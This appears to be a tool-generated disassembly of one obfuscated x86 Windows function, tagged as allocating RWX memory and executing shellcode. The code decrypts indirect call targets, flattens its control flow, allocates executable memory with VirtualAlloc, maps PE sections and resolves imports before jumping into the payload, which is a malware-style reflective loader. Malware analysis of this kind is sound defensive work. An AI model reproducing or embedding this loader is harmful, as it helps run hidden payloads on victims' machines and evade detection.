Function at 0x408cb4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov esi, esp
mov dword [esi + 0x80], ebp
lea ecx, [esi + 0x88]
mov dword [ecx - 4], esp
or dword [ecx + 8], 0xffffffff
mov dword [ecx + 4], 0x433a80
mov eax, dword fs:[0]
mov dword [ecx], eax
mov dword fs:[0], ecx
mov edi, 0xc1e20f84
mov eax, dword [0x458880]
add eax, edi
call eax
mov eax, dword [0x458884]
add eax, edi
call eax
mov dword [esi + 4], esp
push 0x1c
pop eax
call fcn.00433d50
mov ebx, esp
lea ecx, [ebx + 4]
mov eax, dword [0x458888]
add eax, edi
mov edx, dword [ebp + 0xc]
push dword [edx + 4]
call eax
lea eax, [esi + 0x68]
mov dword [ebx], eax
mov ebx, eax
mov eax, dword [0x45888c]
add eax, edi
call eax
add esp, 0x1c
mov esp, dword [esi + 4]
mov eax, dword [0x458890]
add eax, edi
mov ecx, ebx
call eax
mov dword [esi + 0x1c], eax
mov eax, dword [0x458894]
add eax, edi
mov ecx, ebx
call eax
mov eax, dword [0x458898]
add eax, edi
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x48c0d6eb
add eax, dword [0x4588a4]
call eax
lea ecx, [esi + 0x88]
and dword [ecx + 8], 0
push edi
call eax
push dword [esi + 0x1c]
call fcn.0040264f
pop ecx
mov dword [esi + 0xc], eax
cmp dword [esi + 0xc], 0
je 0x409ad4
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0xb5ef01ea
add eax, dword [0x4588ac]
call eax
and dword [esi + 0x90], 0
push edi
call eax
push 5
push dword [esi + 0x1c]
call fcn.00403759
pop ecx
pop edx
mov dword [esi + 0x10], eax
mov eax, 0xc1e20f84
add eax, dword [0x458898]
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx + 0x34]
mov dword [esi], ecx
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x2bb87584
add eax, dword [0x4588b0]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov edx, 0x59ea8fbf
xor ecx, ecx
push 2
pop ebx
cmp edx, 0x8ce595d4
je 0x408f03
cmp edx, 0x9c822283
je 0x408f40
cmp edx, 0xc0daf1a9
je 0x408eb9
cmp edx, 0xf3608b3d
je 0x408eaf
cmp edx, 0x59ccd40
je 0x408f10
cmp edx, 0x149b8fac
je 0x408ec6
cmp edx, 0x30b5e682
je 0x408ef9
cmp edx, 0x3dcd8085
je 0x408ee8
cmp edx, 0x59ea8fbf
je 0x408f14
cmp edx, 0x5c50b96f
je 0x408f1e
cmp edx, 0x722b8c66
je 0x408eaf
cmp edx, 0x7642e9fa
je 0x408edc
cmp edx, 0xb885bb91
jne 0x408e2a
jmp 0x408f58
mov edx, 0xc0daf1a9
jmp 0x408e2a
mov dword [esi + 0x20], edi
mov edx, 0x30b5e682
jmp 0x408e2a
cmp byte [esi + 0x14], 0
mov edx, 0x7642e9fa
mov eax, 0x5c50b96f
cmovne edx, eax
jmp 0x408e2a
mov edx, 0x722b8c66
mov edi, ebx
jmp 0x408e2a
cmp ecx, 0x58
setb byte [esi + 0x14]
mov edx, 0x149b8fac
jmp 0x408e2a
mov edx, 0x9c822283
jmp 0x408e2a
mov dword [esi + 0x58], ecx
mov edx, 0x59ccd40
jmp 0x408e2a
mov ecx, dword [esi + 0x58]
inc ecx
mov edx, 0x3dcd8085
jmp 0x408e2a
mov dword [esi + 0x47], 0xf79a9990
mov dword [esi + 0x44], 0x90dd9e9d
mov dword [esi + 0x40], 0x949b8000
mov edx, 0xf3608b3d
xor edi, edi
inc edi
jmp 0x408e2a
mov edx, dword [esi + 0x20]
cmp edx, 2
mov edx, 0xb885bb91
mov eax, 0x59ba86d0
cmove edx, eax
jmp 0x408e2a
lea eax, [esi + 0x40]
mov dword [esi + 0x58], eax
mov eax, 0x7ef593fb
add eax, dword [0x4588b4]
mov dword [esi + 0x20], eax
mov ecx, dword [esi + 0x58]
mov eax, dword [esi + 0x20]
and dword [esi + 0x90], 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esi + 4], eax
lea edi, [esi + 0x40]
mov ecx, edi
call fcn.00409b5a
mov eax, 0x823984b4
add eax, dword [0x4588b8]
mov ecx, edi
call eax
mov dword [esi + 8], eax
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x47ae8feb
add eax, dword [0x4588bc]
call eax
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x40]
and dword [esi + 0x90], 0
push edi
call eax
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 0xc]
push dword [ecx + 0x34]
push 0xffffffffffffffff
call eax
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0xa1e0b37d
add eax, dword [str.Aja]
call eax
and dword [esi + 0x90], 0
push edi
call eax
push 0x40
push 0x3000
mov eax, dword [esi + 0xc]
push dword [eax + 0x50]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
cmp dword [esi], 0
jne 0x40984a
cmp dword [esi + 0x10], 0
je 0x409ae6
movsx eax, byte [section..data]
movsx ecx, byte [0x45b008]
lea ecx, [ecx + ecx*2]
add ecx, eax
cmp ecx, 3
jne 0x4090d4
push 0x40
push 0x3000
mov eax, dword [esi + 0xc]
push dword [eax + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
cmp dword [esi], 0
jne 0x40984a
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, dword [0x4588c8]
mov dword [esi + 0x40], eax
mov eax, 0x588ceb4f
add eax, dword [esi + 0x40]
call eax
and dword [esi + 0x90], 0
push edi
call eax
push 0
call fcn.004392de
pop eax
xor eax, eax
je 0x4090d9
add byte [ecx + 0x46890446], cl
movsx eax, byte fs:[0x458004]
mov dword [esi + 4], eax
mov dword [esi + 0x64], eax
movsx eax, byte [0x458004]
cvtsi2sd xmm0, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
addsd xmm1, xmm1
subsd xmm0, xmm1
mulsd xmm0, qword [0x44d220]
movsd qword [esi + 0x58], xmm0
movsx eax, byte [0x458001]
mov dword [esi], eax
mov ecx, 0xc32cae9
mov eax, dword [0x458720]
add eax, ecx
call eax
movsx eax, al
add eax, dword [esi]
mov dword [esi + 0x30], eax
mov eax, 0xc32cae9
add eax, dword [0x458724]
call eax
movsx eax, al
imul eax, eax, 6
mov dword [esi + 0x34], eax
mov ecx, 0xc32cae9
mov eax, dword [0x458728]
add eax, ecx
call eax
mov byte [esi + 0x60], al
mov eax, 0x1669c553
mov edi, 0xc32cae9
cmp eax, 0x81818adb
je 0x40929d
cmp eax, 0x82355af2
je 0x409438
cmp eax, 0x85171d2d
je 0x40922e
cmp eax, 0x93566a0f
je 0x409224
cmp eax, 0x94a1b195
je 0x409248
cmp eax, 0xb3f8a76d
je 0x4092ea
cmp eax, 0xc0e42b4c
je 0x409252
cmp eax, 0xe4a00cf7
je 0x4092e0
cmp eax, 0xe97781b7
je 0x409238
cmp eax, 0xb8187a1
je 0x4093ac
cmp eax, 0x1669c553
je 0x40925c
cmp eax, 0x357997b3
je 0x4092d0
cmp eax, 0x5a35373b
je 0x40928d
cmp eax, 0x5c4feb4e
je 0x409224
cmp eax, 0x5daa7bf1
je 0x4092a7
cmp eax, 0x60cc387f
je 0x409351
cmp eax, 0x6f4192d5
je 0x4092fe
cmp eax, 0x7c12ebfa
je 0x409224
cmp eax, 0x9228c49e
jne 0x40915a
jmp 0x40946b
mov eax, 0x81818adb
jmp 0x40915a
mov eax, 0xe97781b7
jmp 0x40915a
mov eax, 0x9228c49e
mov ecx, dword [esi + 4]
mov dword [esi + 0x2c], ecx
jmp 0x40915a
mov eax, 0x7c12ebfa
jmp 0x40915a
mov eax, 0x60cc387f
jmp 0x40915a
movsx eax, byte [esi + 0x60]
imul eax, dword [esi + 0x34]
add eax, dword [esi + 0x30]
movsx ecx, byte [0x458002]
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
cmp eax, ecx
mov eax, 0x82355af2
mov ecx, 0x60cc387f
cmove eax, ecx
jmp 0x40915a
mov eax, 0x93566a0f
push 7
pop ecx
mov dword [esi + 4], ecx
jmp 0x40915a
mov eax, 0x85171d2d
jmp 0x40915a
movsx ecx, byte [0x458002]
mov eax, dword [esi + 0x14]
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
cmp eax, ecx
mov eax, 0xe4a00cf7
mov ecx, 0x94a1b195
cmove eax, ecx
jmp 0x40915a
mov eax, 0x5c4feb4e
push 0xa
pop ecx
mov dword [esi + 4], ecx
jmp 0x40915a
mov eax, 0xb3f8a76d
jmp 0x40915a
movsd xmm0, qword [esi + 0x58]
movsd qword [esi + 0x40], xmm0
mov eax, 0xb8187a1
jmp 0x40915a
mov eax, dword [esi + 0x3c]
add eax, edi
and dword [esi + 0x90], 0
call eax
mov byte [esi], al
movsx eax, byte [0x45b008]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x38]
mov dword [esi + 8], eax
mov eax, dword [0x458734]
mov ecx, 0xc32cae9
add eax, ecx
call eax
movsx ecx, byte [esi]
mov edx, dword [esi + 0x10]
imul edx, ecx
mov ecx, dword [esi + 8]
add ecx, edx
movsx eax, al
cmp ecx, eax
mov eax, 0x357997b3
mov ecx, 0xc0e42b4c
cmove eax, ecx
jmp 0x409155
movsx eax, byte [0x458001]
mov dword [esi], eax
mov eax, dword [0x458720]
add eax, edi
and dword [esi + 0x90], 0
call eax
mov byte [esi + 8], al
mov eax, dword [0x458724]
mov ecx, 0xc32cae9
add eax, ecx
call eax
mov byte [esi + 0x10], al
mov eax, dword [0x458728]
mov ecx, 0xc32cae9
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
add ecx, dword [esi]
movsx edx, byte [esi + 0x10]
movsx eax, al
imul eax, edx
lea eax, [ecx + eax*8]
mov dword [esi + 0x14], eax
mov eax, 0x5daa7bf1
jmp 0x409155
movsx eax, byte [0x458001]
mov dword [esi + 4], eax
mov eax, dword [0x458720]
add eax, edi
and dword [esi + 0x90], 0
call eax
mov byte [esi], al
mov eax, dword [0x458724]
mov ecx, 0xc32cae9
add eax, ecx
call eax
mov byte [esi + 8], al
mov eax, dword [0x458728]
mov ecx, 0xc32cae9
add eax, ecx
call eax
movsx ecx, byte [esi]
add ecx, dword [esi + 4]
movsx edx, byte [esi + 8]
movsx eax, al
imul eax, edx
lea eax, [ecx + eax*2]
movsx ecx, byte [0x458002]
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
sub eax, ecx
movd xmm0, eax
por xmm0, xmmword [0x44d1f0]
subsd xmm0, qword [0x44d200]
mulsd xmm0, qword [esi + 0x40]
cvttsd2si eax, xmm0
mov dword [esi + 4], eax
mov eax, 0x81818adb
jmp 0x409155
movsx eax, byte [section..data]
mov dword [esi], eax
mov eax, dword [0x45872c]
add eax, edi
and dword [esi + 0x90], 0
call eax
movsx eax, al
add eax, dword [esi]
mov dword [esi + 0x38], eax
mov eax, dword [0x458730]
mov dword [esi + 0x3c], eax
mov eax, 0x6f4192d5
jmp 0x409155
mov eax, dword [esi + 0x2c]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x20]
movsx eax, byte [0x458001]
add eax, 7
movsx ecx, byte [0x458002]
mov dword [esi], 0
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
cmp eax, ecx
je 0x40984a
xor eax, eax
je 0x4094a3
add byte [ecx + 0x46890446], cl
pushal
mov dword [esi + 4], eax
mov dword [esi + 0x60], eax
movsx eax, byte [0x458004]
cvtsi2sd xmm0, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
addsd xmm1, xmm1
subsd xmm0, xmm1
movsd qword [esi + 0x20], xmm0
movsx eax, byte [0x458001]
mov dword [esi], eax
mov ecx, 0xc32cae9
mov eax, dword [0x458720]
add eax, ecx
and dword [esi + 0x90], 0
call eax
movsx eax, al
add eax, dword [esi]
mov dword [esi + 0x64], eax
mov eax, 0xc32cae9
add eax, dword [0x458724]
call eax
movsx eax, al
imul eax, eax, 6
mov dword [esi + 0x30], eax
mov ecx, 0xc32cae9
mov eax, dword [0x458728]
add eax, ecx
call eax
mov byte [esi + 0x1b], al
mov eax, 0x1669c553
mov edi, 0xc32cae9
cmp eax, 0x81818adb
je 0x409666
cmp eax, 0x82355af2
je 0x409801
cmp eax, 0x85171d2d
je 0x4095f7
cmp eax, 0x93566a0f
je 0x4095ed
cmp eax, 0x94a1b195
je 0x409611
cmp eax, 0xb3f8a76d
je 0x4096b3
cmp eax, 0xc0e42b4c
je 0x40961b
cmp eax, 0xe4a00cf7
je 0x4096a9
cmp eax, 0xe97781b7
je 0x409601
cmp eax, 0xb8187a1
je 0x409775
cmp eax, 0x1669c553
je 0x409625
cmp eax, 0x357997b3
je 0x409699
cmp eax, 0x5a35373b
je 0x409656
cmp eax, 0x5c4feb4e
je 0x4095ed
cmp eax, 0x5daa7bf1
je 0x409670
cmp eax, 0x60cc387f
je 0x40971a
cmp eax, 0x6f4192d5
je 0x4096c7
cmp eax, 0x7c12ebfa
je 0x4095ed
cmp eax, 0x9228c49e
jne 0x409523
jmp 0x409834
mov eax, 0x81818adb
jmp 0x409523
mov eax, 0xe97781b7
jmp 0x409523
mov eax, 0x9228c49e
mov ecx, dword [esi + 4]
mov dword [esi + 0x2c], ecx
jmp 0x409523
mov eax, 0x7c12ebfa
jmp 0x409523
mov eax, 0x60cc387f
jmp 0x409523
movsx eax, byte [esi + 0x1b]
imul eax, dword [esi + 0x30]
add eax, dword [esi + 0x64]
movsx ecx, byte [0x458002]
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
cmp eax, ecx
mov eax, 0x82355af2
mov ecx, 0x60cc387f
cmove eax, ecx
jmp 0x409523
mov eax, 0x93566a0f
push 7
pop ecx
mov dword [esi + 4], ecx
jmp 0x409523
mov eax, 0x85171d2d
jmp 0x409523
movsx ecx, byte [0x458002]
mov eax, dword [esi + 0x3c]
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
cmp eax, ecx
mov eax, 0xe4a00cf7
mov ecx, 0x94a1b195
cmove eax, ecx
jmp 0x409523
mov eax, 0x5c4feb4e
push 0xa
pop ecx
mov dword [esi + 4], ecx
jmp 0x409523
mov eax, 0xb3f8a76d
jmp 0x409523
movsd xmm0, qword [esi + 0x20]
movsd qword [esi + 0x40], xmm0
mov eax, 0xb8187a1
jmp 0x409523
mov eax, dword [esi + 0x38]
add eax, edi
and dword [esi + 0x90], 0
call eax
mov byte [esi], al
movsx eax, byte [0x45b008]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 8], eax
mov eax, dword [0x458734]
mov ecx, 0xc32cae9
add eax, ecx
call eax
movsx ecx, byte [esi]
mov edx, dword [esi + 0x10]
imul edx, ecx
mov ecx, dword [esi + 8]
add ecx, edx
movsx eax, al
cmp ecx, eax
mov eax, 0x357997b3
mov ecx, 0xc0e42b4c
cmove eax, ecx
jmp 0x40951e
movsx eax, byte [0x458001]
mov dword [esi], eax
mov eax, dword [0x458720]
add eax, edi
and dword [esi + 0x90], 0
call eax
mov byte [esi + 8], al
mov eax, dword [0x458724]
mov ecx, 0xc32cae9
add eax, ecx
call eax
mov byte [esi + 0x10], al
mov eax, dword [0x458728]
mov ecx, 0xc32cae9
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
add ecx, dword [esi]
movsx edx, byte [esi + 0x10]
movsx eax, al
imul eax, edx
lea eax, [ecx + eax*8]
mov dword [esi + 0x3c], eax
mov eax, 0x5daa7bf1
jmp 0x40951e
movsx eax, byte [0x458001]
mov dword [esi + 4], eax
mov eax, dword [0x458720]
add eax, edi
and dword [esi + 0x90], 0
call eax
mov byte [esi], al
mov eax, dword [0x458724]
mov ecx, 0xc32cae9
add eax, ecx
call eax
mov byte [esi + 8], al
mov eax, dword [0x458728]
mov ecx, 0xc32cae9
add eax, ecx
call eax
movsx ecx, byte [esi]
add ecx, dword [esi + 4]
movsx edx, byte [esi + 8]
movsx eax, al
imul eax, edx
lea eax, [ecx + eax*2]
movsx ecx, byte [0x458002]
xor edx, edx
div ecx
movsx ecx, byte [0x458003]
sub eax, ecx
movd xmm0, eax
por xmm0, xmmword [0x44d1f0]
subsd xmm0, qword [0x44d200]
mulsd xmm0, qword [esi + 0x40]
cvttsd2si eax, xmm0
mov dword [esi + 4], eax
mov eax, 0x81818adb
jmp 0x40951e
movsx eax, byte [section..data]
mov dword [esi], eax
mov eax, dword [0x45872c]
add eax, edi
and dword [esi + 0x90], 0
call eax
movsx eax, al
add eax, dword [esi]
mov dword [esi + 0x34], eax
mov eax, dword [0x458730]
mov dword [esi + 0x38], eax
mov eax, 0x6f4192d5
jmp 0x40951e
mov eax, dword [esi + 0x2c]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
or dword [esi + 0x90], 0xffffffff
mov dword [esi], 0
mov ecx, 0xc1e20f84
mov eax, dword [0x458898]
add eax, ecx
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x732030e8
add eax, dword [0x4588cc]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov eax, dword [esi + 0xc]
mov ecx, dword [esi]
mov dword [eax + 0x34], ecx
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
push 0x44deeb
mov edi, 0x45b062
push edi
call eax
pop eax
pop ecx
mov eax, dword [0x4588d0]
mov dword [esi + 0x40], eax
mov eax, 0x139dc530
add eax, dword [esi + 0x40]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov eax, dword [esi + 0xc]
push dword [eax + 0x54]
push dword [esi + 0x1c]
push dword [esi]
call fcn.00435a30
add esp, 0xc
mov ecx, 0xc1e20f84
mov eax, dword [0x458898]
add eax, ecx
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x113706ad
add eax, dword [0x4588d4]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
push 0x44deeb
mov edi, 0x45b062
push edi
call eax
pop eax
pop ecx
mov eax, 0x431d1a4b
add eax, dword [0x4588d8]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov eax, dword [esi + 0xc]
add eax, 0xf8
mov dword [esi + 8], eax
xor ecx, ecx
mov eax, dword [esi + 0xc]
movzx eax, word [eax + 6]
cmp ecx, eax
jae 0x4099c8
mov dword [esi + 4], ecx
imul eax, ecx, 0x28
mov edi, dword [esi + 8]
mov ecx, dword [edi + eax + 0xc]
add ecx, dword [esi]
mov edx, dword [edi + eax + 0x14]
add edx, dword [esi + 0x1c]
push dword [edi + eax + 0x10]
push edx
push ecx
call fcn.00435a30
add esp, 0xc
mov eax, dword [0x458898]
mov ecx, 0xc1e20f84
add eax, ecx
or dword [esi + 0x90], 0xffffffff
push 0x44deeb
mov edi, 0x45b062
push edi
call eax
pop eax
pop ecx
mov eax, dword [0x4588dc]
mov ecx, 0xd49e09cb
add eax, ecx
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov ecx, dword [esi + 4]
inc ecx
jmp 0x409959
push dword [esi]
call fcn.004040e5
pop ecx
mov ecx, 0xc1e20f84
mov eax, dword [0x458898]
add eax, ecx
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0xfd37e462
add eax, dword [0x4588e0]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov ecx, 0xc1e20f84
add ecx, dword [0x458898]
mov eax, dword [esi + 0xc]
mov eax, dword [eax + 0x28]
mov dword [esi + 4], eax
or dword [esi + 0x90], 0xffffffff
push 0x44deeb
mov edi, 0x45b062
push edi
call ecx
pop eax
pop ecx
mov eax, 0xceb4895c
add eax, dword [0x4588e4]
call eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x40], edi
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x14]
and dword [esi + 0x90], 0
push eax
call ecx
mov edi, dword [esi + 4]
add edi, dword [esi]
mov eax, 0x17f10e0c
add eax, dword [0x4588e8]
call eax
push 0
push edi
push 0
call eax
mov ecx, 0xc1e20f84
mov eax, dword [0x458898]
add eax, ecx
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x4b02c477
add eax, dword [0x4588ec]
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x40]
call eax
and dword [esi + 0x90], 0
push edi
call eax
mov eax, 0xc1e20f84
add eax, dword [0x45889c]
lea ecx, [esi + 0x68]
call eax
mov eax, dword [esi + 0x88]
mov dword fs:[0], eax
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xd219e07f
add eax, dword [0x4588a8]
call eax
push 0
call eax
pop eax
mov eax, 0xc1e20f84
add eax, dword [0x458898]
or dword [esi + 0x90], 0xffffffff
mov edi, 0x45b062
push 0x44deeb
push edi
call eax
pop eax
pop ecx
mov eax, 0x86c71790
add eax, dword [0x4588c4]
call eax
and dword [esi + 0x90], 0
push edi
call eax
push 0
call fcn.004392de
pop eax
push ebp
sub esp, 0x1c
lea esi, [ebp - 0x94]
mov ebp, dword [esi + 0x80]
mov eax, 0xc1e20f84
add eax, dword [0x45889c]
lea ecx, [esi + 0x68]
call eax
add esp, 0x1c
pop ebp
ret